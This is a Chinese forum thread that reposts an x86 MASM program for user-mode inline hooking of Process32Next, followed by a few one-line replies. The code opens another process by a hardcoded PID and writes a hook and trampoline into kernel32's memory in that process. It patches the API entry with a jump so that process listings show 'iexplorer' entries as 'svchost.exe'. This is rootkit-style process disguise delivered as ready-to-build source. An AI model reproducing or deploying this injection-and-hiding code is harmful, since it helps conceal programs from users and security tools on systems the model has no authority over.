VC驿站

 找回密码
 加入驿站

QQ登录

只需一步,快速开始

搜索
查看: 1341|回复: 3

[转载] 应用层的InlineHook汇编实现(wings)

[复制链接]
45_avatar_middle
online_vip 发表于 2015-1-12 19:18:37 | 显示全部楼层 |阅读模式
  1. .586
  2. .model flat,stdcall
  3. option casemap:none
  4. include     ../include/windows.inc
  5. include     ../include/user32.inc
  6. includelib ../lib/user32.lib
  7. include     ../include/kernel32.inc
  8. includelib ../lib/kernel32.lib
  9. include     ../include/shell32.inc
  10. includelib ../lib/shell32.lib

  11. .data
  12. kernel32 db 'kernel32.dll',0
  13. P32First db 'Process32Next',0
  14. inline db 'Hook Process32Next Hide Process:)',0
  15. sztext db '.text   ',0
  16. VirtualAddress dd 0
  17. JMPCODE db 0E9h,010h,10H,10H,10H,0
  18. JMPCODE2 db 0E9h,010h,10H,10H,10H,0
  19. HookFunBuf db 256 dup (?)
  20. .code
  21. _ProcessPeFile proc _lpPeHead
  22.    local @szBuffer[1024]:byte,@szSectionName[16]:byte
  23.   
  24.         mov esi,_lpPeHead
  25.    assume esi:ptr IMAGE_DOS_HEADER
  26.         add esi,[esi].e_lfanew
  27.    mov edi,esi
  28.    assume edi:ptr IMAGE_NT_HEADERS
  29. ;********************************************************************
  30. ; 循环显示每个节区的信息
  31. ;********************************************************************
  32.    movzx ecx,[edi].FileHeader.NumberOfSections
  33.    add edi,sizeof IMAGE_NT_HEADERS
  34.    assume edi:ptr IMAGE_SECTION_HEADER
  35.    .repeat
  36.     push ecx
  37. ;********************************************************************
  38. ; 节区名称
  39. ;********************************************************************
  40.     invoke RtlZeroMemory,addr @szSectionName,sizeof @szSectionName
  41.     push esi
  42.     push edi
  43.     mov ecx,8
  44.     mov esi,edi
  45.     lea edi,@szSectionName
  46.     cld
  47.     @@:
  48.     lodsb
  49.     .if ! al
  50.      mov al,' '
  51.     .endif
  52.     stosb
  53.     loop @B
  54.     pop edi
  55.     pop esi
  56. ;********************************************************************
  57.             invoke lstrcmpi,offset sztext,addr @szSectionName
  58.             .if eax == 0
  59.       push [edi].VirtualAddress
  60.       pop eax
  61.       ret
  62.     .else
  63.     add edi,sizeof IMAGE_SECTION_HEADER
  64.     .endif
  65. ;********************************************************************
  66.     pop ecx
  67.    .untilcxz
  68.    assume edi:nothing
  69.    ret
  70. _ProcessPeFile endp
  71. ;得到相应进程的模块加载的起始地址
  72. GetShell32Base proc uses ebx esi edi remoteproid
  73.             LOCAL hSnapshot:dword
  74.             LOCAL modinfo:MODULEENTRY32
  75.             LOCAL modname[256]:byte
  76.         mov     modinfo.dwSize,sizeof MODULEENTRY32
  77.         invoke CreateToolhelp32Snapshot,TH32CS_SNAPMODULE,remoteproid
  78.         mov     hSnapshot,eax
  79.         invoke Module32First,hSnapshot,addr modinfo
  80.         .while eax
  81.         lea     ecx,modinfo.szModule
  82.         invoke lstrcmpi,offset kernel32,ecx
  83.         .if     eax == 0
  84.                 mov eax,modinfo.modBaseAddr
  85.                 ret
  86.         .endif
  87.         invoke Module32Next,hSnapshot,addr modinfo
  88.         .endw      
  89.         invoke CloseHandle,hSnapshot
  90.         
  91.                 ret
  92. GetShell32Base   endp
  93. InlineHook proc
  94.     LOCAL   hProcess:dword
  95.     LOCAL   hKernel32:dword
  96.     LOCAL   hAPI:dword
  97.     LOCAL   PID:dword
  98.     LOCAL   ModBase:dword
  99.     LOCAL   OLDpro:dword
  100.     LOCAL   CodeBuf[128]:byte
  101.     LOCAL   optable[2048]:byte
  102.     LOCAL   codelen:dword
  103.     LOCAL   APIoffset:dword
  104.     LOCAL   hAPI2:dword
  105.     LOCAL   pHookFun:dword
  106.     LOCAL   hooklen1:dword
  107.     LOCAL   hookfunlen:dword
  108.    
  109.     lea eax,optable
  110.     push eax
  111.     call disasm_init ;解压缩'指令长度表'
  112.    
  113.     invoke LoadLibrary,offset kernel32   ;得到自身进程DLL的基地址
  114.     mov     hKernel32,eax
  115.     invoke _ProcessPeFile,hKernel32      ;通过分析PE文件得到相应的.text节的虚拟偏移
  116.     mov     VirtualAddress,eax           ;一般为1000h
  117.     invoke GetProcAddress,hKernel32,offset P32First ;得到API的入口地址   
  118.     mov     hAPI,eax
  119.     mov     eax,hKernel32
  120.     add     eax,VirtualAddress           ;得到代码节起始地址
  121.     mov     ecx,hAPI
  122.     sub     ecx,eax                      ;函数入口相对于代码节的偏移
  123.     mov     APIoffset,ecx
  124.     invoke GetCurrentProcessId
  125.     mov     PID,eax
  126.     mov     eax,9504
  127.     mov     PID,eax
  128.     invoke GetShell32Base,eax
  129.     mov     ModBase,eax                  ;得到目标进程DLL的基地址
  130.     add     eax,VirtualAddress           ;得到目标进程DLL的代码节基地址
  131.     add     eax,APIoffset                ;得到目标进程被HOOK的函数的入口地址
  132.     mov     hAPI2,eax
  133.     invoke OpenProcess,PROCESS_ALL_ACCESS,FALSE,PID
  134.     mov     hProcess,eax
  135.     invoke ReadProcessMemory,hProcess,hAPI2,addr CodeBuf,128,0
  136.     lea     esi,CodeBuf
  137.     xor     edi,edi
  138. @@nextcode:   
  139.     push esi
  140.     lea eax,optable
  141.     push eax
  142.     call disasm_main
  143.     .if eax !=-1
  144.         add edi,eax
  145.         .if edi>=5
  146.         mov codelen,edi   ;codelne记录应该COPY的代码字节数
  147.         jmp @@findok
  148.         .else
  149.         add esi,eax
  150.         jmp @@nextcode
  151.         .endif
  152.     .else
  153.     xor eax,eax
  154.     ret
  155.     .endif
  156. @@findok:
  157.         
  158. ;写HOOK函数到目标进程DLL的空闲空间中
  159.     mov     eax,ModBase
  160.     add     eax,VirtualAddress
  161.     sub     eax,512
  162.     mov     pHookFun,eax
  163.     invoke VirtualProtectEx,hProcess,pHookFun,512,PAGE_EXECUTE_READWRITE,addr OLDpro
  164.    
  165.     ;计算偏移
  166.     mov     ecx,@@hookbeg
  167.     mov     eax,@@fakeret   
  168.     sub     eax,ecx
  169.     mov     hooklen1,eax
  170.     ;计算HOOK函数的全部代码长度
  171.     mov     ecx,@@hookbeg
  172.     mov     eax,@@hookfunend
  173.     sub     eax,ecx
  174.     mov     hookfunlen,eax
  175.     ;把HOOK函数从代码段移到变量中
  176.     mov     eax,@@hookbeg
  177.     invoke RtlMoveMemory,offset HookFunBuf,eax,hookfunlen
  178.     ;把HOOK函数从变量中移到目标进程的内存中,这儿只移开头的一部分
  179.     invoke WriteProcessMemory,hProcess,pHookFun,offset HookFunBuf,hooklen1,0
  180.     ;移动被覆盖的原函数代码到目标内存中
  181.     mov     ecx,pHookFun
  182.     add     ecx,hooklen1
  183.     sub     ecx,21
  184.     invoke WriteProcessMemory,hProcess,ecx,addr CodeBuf,codelen,0
  185.     ;跳回原函数
  186.     mov     ecx,pHookFun
  187.     add     ecx,hooklen1
  188.     mov     edx,ecx
  189.     sub     ecx,5         ;JMP指令的起始地址
  190.     mov     eax,hAPI2
  191.     sub     eax,edx
  192.     add     eax,codelen
  193.     mov     edx,offset JMPCODE2
  194.     inc     edx
  195.     mov     [edx],eax
  196.     invoke WriteProcessMemory,hProcess,ecx,offset JMPCODE2,5,0
  197.     ;移动真正的HOOK功能代码到目标内存中
  198.     mov     ecx,pHookFun
  199.     add     ecx,hooklen1
  200.     mov     eax,offset HookFunBuf
  201.     add     eax,hooklen1
  202.     mov     edx,hookfunlen
  203.     sub     edx,hooklen1
  204.     invoke WriteProcessMemory,hProcess,ecx,eax,edx,0
  205.     ;设置跳转指令
  206.     mov     eax,pHookFun
  207.     sub     eax,hAPI2
  208.     sub     eax,5
  209.     mov     ecx,offset JMPCODE
  210.     inc     ecx
  211.     mov     [ecx],eax
  212.    

  213.     invoke VirtualProtectEx,hProcess,hAPI2,codelen,PAGE_READWRITE,addr OLDpro
  214.     invoke WriteProcessMemory,hProcess,hAPI2,offset JMPCODE,5,0
  215.     invoke VirtualProtectEx,hProcess,hAPI2,codelen,OLDpro,addr OLDpro
  216.     invoke CloseHandle,hProcess
  217.    
  218.     invoke MessageBox,0,offset inline,offset inline,1
  219.    
  220.             ret   
  221. InlineHook endp
  222. @@hookbeg:
  223. push [esp+8] ;ARG2 有几个参数就ESP加几
  224. push [esp+8] ;ARG1
  225. jmp @@fakeret
  226. @@setret:
  227. somenop1 db 90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h ;这儿填被JMP覆盖的指令
  228. somenop2 db 90h,90h,90h,90h,90h           ;填跳回原函数的JMP指令
  229. @@fakeret:
  230. call @@setret
  231. ;检查原函数的参数,判断是否改变原函数的执行结果,这时EAX为函数返回值注意保存
  232. sub esp,8
  233. pushad
  234. mov edx,[esp+4+32];原函数倒数第2个参数,进程信息结构的地址
  235. .if eax != ERROR_NO_MORE_FILES
  236.     add edx,36
  237.     mov eax,[edx]
  238.     mov ecx,[edx+4]
  239.     .if (eax == 'pxei')&&( ecx == 'erol') ;把iexplorer换为svchost.exe
  240.         mov eax,'hcvs'
  241.         mov [edx],eax
  242.         mov eax,'.tso'
  243.         mov [edx+4],eax
  244.         mov eax,' exe'
  245.         mov [edx+8],eax
  246.     .endif
  247. .endif
  248. popad
  249. add esp,8
  250. ;跳回正常的返回地址
  251. ret 8   ;参数个数*4
  252. @@hookfunend:
  253. start:
  254.     invoke MessageBoxA,0,offset inline,offset inline,1
  255.     invoke InlineHook
  256.     invoke ExitProcess,0
  257. include     \masm32\include\lde32bin.inc
  258. end start
复制代码




上一篇:汇编ring3下实现HOOK API
下一篇:王爽 汇编 2.2 疑问
75_avatar_middle
在线会员 发表于 2017-9-8 21:58:51 | 显示全部楼层
qqqqqqqqqqqqqqqqqqqqqq
65_avatar_middle
在线会员 发表于 2017-10-14 21:21:26 | 显示全部楼层
好代码!不错
75_avatar_middle
在线会员 发表于 2017-12-2 12:36:08 | 显示全部楼层
xxxxxxxxxxxxxxxxxxx
您需要登录后才可以回帖 登录 | 加入驿站 qq_login

本版积分规则

关闭

站长提醒上一条 /2 下一条

QQ|小黑屋|手机版|VC驿站 ( 辽ICP备09019393号tongdun|网站地图wx_jqr

GMT+8, 2019-3-21 08:38

Powered by Discuz! X3.4

© 2009-2019 cctry.com

快速回复 返回顶部 返回列表